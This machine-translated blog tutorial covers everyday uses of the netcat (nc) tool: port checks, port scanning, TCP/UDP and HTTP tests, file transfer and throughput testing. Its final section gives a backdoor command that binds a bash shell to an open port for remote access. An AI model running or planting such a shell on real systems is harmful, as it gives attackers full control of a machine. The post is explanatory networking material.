当前位置:网站首页>"Swiss Army Knife" -nc in network tools
"Swiss Army Knife" -nc in network tools
2022-07-29 07:50:00 【sg-expert】
Check whether the port is occupied
Remember when we were netstat How to check whether the port is occupied ?nc You can do things like that . It USES -l(listen) Parameters , Used to bind a specified port and listen for connections :
$ nc -l 6379
nc: Address already in use
When you see Address already in use When , I know this port is occupied , Otherwise it will listen on this port . Of course, this role is my nonsense , But you can use .
Port scanning
For example, you need to scan a machine 21-30 Which ports are open :
$ nc -n 127.0.0.1 -z 1230-1234 -v
nc: connect to 127.0.0.1 port 1230 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1231 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1232 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1233 (tcp) failed: Connection refused
Connection to 127.0.0.1 1234 port [tcp/*] succeeded!
among -n Direct use of ip Address , Instead of using a domain name ,-z Specify the port range ,-v Output details . As you can see from the results ,1234 Ports are connectable .
TCP/UDP Connect the test
When you're learning TCP Relevant content , Do you think about how to observe the state or data package in your own practice ? Although I recommend myself to write one TCP The server side of the connection - Client program , But you can also use nc Order to complete , for example , Enter the following in a terminal :
$ nc -l 1234
hello Programming pearls
Show in 1234 Port listening , Then you can connect at another terminal ;
$ nc 127.0.0.1 1234
hello Programming pearls
Connect to local address 1234 port , In the process, you can grab bags , analysis TCP Three handshakes .
besides , You can also send messages between established connections ( Simple chat function ), Let you analyze more !
By default , It creates TCP Connect , While using -u(UDP) Parameters can be tested UDP Connectivity .
$ nc -v -u 182.3.226.35 80
Connection to 182.3.226.35 80 port [udp/http] succeeded!
besides , There are also many parameters for debugging , for example :
-b Allow broadcast messages
-D Turn on socket Debug mode
-d Reading from standard input is prohibited
-k After the client exits , Keep connected
-v Show details
Because in the following article will also use nc To illustrate , So I won't go into details here .
HTTP Connect the test
For example, view HTTP Header information :
$ nc www.baidu.com 80
HEAD / HTTP/1.1
HTTP/1.1 302 Found
Connection: Keep-Alive
Content-Length: 17931
Content-Type: text/html
Date: Sun, 23 Jun 2019 13:52:12 GMT
Etag: "54d9748e-460b"
Server: bfe/1.0.8.18
After connection , Input HEAD / HTTP/1.1 or HEAD / HTTP/1.0, Then enter two carriage returns , You can see web Server related information .
The data transfer
Or use the connection from the front , With the help of redirection, you can transfer files , For example, server monitoring , And output the content to out.txt:
$ nc -l 1234 > out.txt
And the client connection :
$ nc 127.0.0.1 1234 < in.txt
So the client in.txt The content of , It will be transmitted to out.txt
Yes, of course , For file transfer ,scp Command can do it better . If you have no other way , You can try nc.
Network testing
As mentioned above, we can pass nc To transmit data , Similarly, if we want to test the network speed between two hosts ( Of course you can use iperf Tools to do the job ),nc It's something we can help with :
# Server monitoring :
$ nc -vl 1234 >/dev/null
Which redirects to /dev/null, It means to discard the data .
And then on another host :
$ dd if=/dev/zero bs=1M count=10 |nc -vn 127.0.0.1 1234
Connection to 127.0.0.1 1234 port [tcp/*] succeeded!
10+0 records in
10+0 records out
10485760 bytes (10 MB, 10 MiB) copied, 0.0333675 s, 314 MB/s
dd Copy the data , From here /dev/zero Copy the data 0, And once 1M, Copy 10 Time , Finally through nc The command is sent to the server . After the end , You can see the statistics .
Create a back door
nc Commands can also be used to create backdoors in the system , And it's a technology that hackers use a lot . To protect our system , We need to know how it works . The command to create a backdoor is :
$ ncat -l 10000 -e /bin/bash
-e The logo will be a bash And port 10000 Connected to a . Now the client only needs to connect to the server 10000 The port can go through bash Get full access to our system :
$ ncat 192.168.1.100 10000
summary
nc The command is short and concise , But it can help us in many ways , for example :
Port scanning
Connect the test
TCP/UDP The server client listens and connects
Network testing
Create a back door
边栏推荐
- [summer daily question] Luogu p1601 a+b problem (high precision)
- [flask introduction series] installation and configuration of flask Sqlalchemy
- QT connects two qslite databases and reports an error qsqlquery:: exec: database not open
- Zero technology is deeply involved in the development of privacy computing financial scenario standards of the ICT Institute
- 2022 Shenzhen Cup Title A: get rid of "scream effect" and "echo room effect" and get out of the "information cocoon room"
- postman接口测试|js脚本之阻塞休眠和非阻塞休眠
- 在一个sql文件中,上面定义一个测试表及数据,下面可以select* from 测试表
- 输出1234无重复的三位数
- Chaos and future of domestic digital collections
- What are the common error types and solutions of black box testing?
猜你喜欢
Pat class a 1146 topology sequence
What are the principles and methods of implementing functional automation testing?
207.课程表
@Use of jsonserialize annotation
LANDSCAPE
Jianmu continuous integration platform v2.5.2 release
功能自动化测试实施的原则以及方法有哪些?
Go 事,如何成为一个Gopher ,并在7天找到 Go 语言相关工作,第1篇
Excellent urban design ~ good! Design # visualization radio station will be broadcast soon
Sort out the two NFT pricing paradigms and four solutions on the market
随机推荐
[deep learning] data preparation -pytorch custom image segmentation data set loading
EF core reading text type is slow_ EF core is slow to read large string fields
Day 014 二维数组练习
[summer daily question] Luogu P6500 [coci2010-2011 3] zbroj
性能更佳、使用更简单的懒加载IntersectionObserverEntry(观察者)
Output 1234 three digits without repetition
[freeze electron microscope] analysis of the source code of the subtomogram alignment function of relion4.0 (for self use)
状态机dp(简单版)
UPC little C's King Canyon
输出1234无重复的三位数
Technology sharing | quick intercom integrated dispatching system
MapReduce steps of each stage
[cryoEM] Introduction to FSC, Fourier shell correlation
10 practical uses of NFT
207.课程表
Zero technology is deeply involved in the development of privacy computing financial scenario standards of the ICT Institute
[memo] summary of the reasons why SSH failed? Remember to come next time.
2022年深圳杯A题破除“尖叫效应”与“回声室效应”走出“信息茧房”
[untitled] format save
[dry goods memo] 50 kinds of Matplotlib scientific research paper drawing collection, including code implementation